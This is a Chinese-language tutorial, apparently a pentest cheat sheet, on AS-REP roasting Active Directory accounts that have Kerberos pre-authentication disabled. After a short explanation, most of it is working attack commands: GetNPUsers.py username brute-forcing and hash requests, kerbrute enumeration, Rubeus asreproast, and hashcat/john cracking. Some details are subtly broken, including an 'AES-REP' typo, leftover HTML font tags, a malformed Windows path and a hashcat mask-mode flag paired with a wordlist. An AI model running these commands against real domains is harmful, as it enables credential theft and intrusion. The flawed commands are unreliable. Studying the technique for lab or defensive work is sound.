预身份验证可防止脱机密码破解。启用后,请求访问资源的用户通过发送身份验证服务器请求 (AS-REQ) 消息来启动与域控制器 (DC) 的通信,该消息的时间戳使用用户密码哈希进行加密。当且仅当 DC 能够使用用户密码的哈希成功解密时间戳时,它将向用户发送包含票证授予票证 (TGT) 的身份验证服务器响应 (AS-REP) 消息。AS-REP 消息的一部分使用用户的密码进行签名。如果禁用了预身份验证,则在AS-REQ阶段就不需要用Client Master Key加密timestamp,用于KDC验证Client。因此,攻击者可以伪装成任意用户发出AS-REQ,而AES-REP中的Session Key是由Client Master Key加密的;一旦攻击者拿到AES-REP后便可暴力破解,如果能顺利解密说明破解成功。
对于发现的每个未进行预身份验证的帐户,攻击者可能会发送没有加密时间戳的 AS-REQ 消息,并接收包含 TGT 数据的 AS-REP 消息,这些数据可能使用 RC4 等不安全算法进行加密。恢复的加密数据可能容易受到类似于 Kerberoasting 的离线密码破解攻击,并暴露明文凭据。
在进行此攻击之前,我们需要先获取一个域账户列表:
Administrator
admin
thm
test
sshd
victim
CREDS-HARVESTIN$
利用
枚举
查找设置了
不需要身份验证的用户
GetNPUsers.py
我们使用 GetNPUsers.py 进行攻击:
# No domain credential, bruteforce names with a wordlist
GetNPUsers.py <Domain/> -dc-ip <IP> -usersfile <Wordlist> -format hashcat | grep -v 'Kerberos SessionError:'
GetNPUsers.py security/ -dc-ip 10.10.10.10 -usersfile names.txt -format hashcat | grep -v 'Kerberos SessionError:'
# Valid domain credentials, extract from all domain accounts
GetNPUsers.py <Domain>/<User>:<Password> -request -format john | grep "$krb5asrep$"
GetNPUsers.py security.local/moe:'Password123' -request -dc-ip 10.10.10.10 -format john | grep "$krb5asrep$"
Kerbrute
./kerbrute userenum <Wordlist> --dc <IP> --domain <Domain>
kerbrute userenum names.txt --dc 10.10.10.10 --domain security.local
Rubeus
Link:https://github.com/GhostPack/Rubeus
# Extract from all domain accounts
.\Rubeus.exe asreproast
.\Rubeus.exe asreproast /format:hashcat /outfile:C:Hashes.txt
hash 破解
插入 $23
在 <font style="color:rgb(33, 37, 41);">$krb5asrep$</font>
之后,变为:<font style="color:rgb(33, 37, 41);">$krb5asrep$23$User.....</font>
# Windows
hashcat64.exe -m 18200 c:Hashes.txt rockyou.txt
# Linux
john --wordlist rockyou.txt Hashes.txt
hashcat -m 18200 -a 3 Hashes.txt rockyou.txt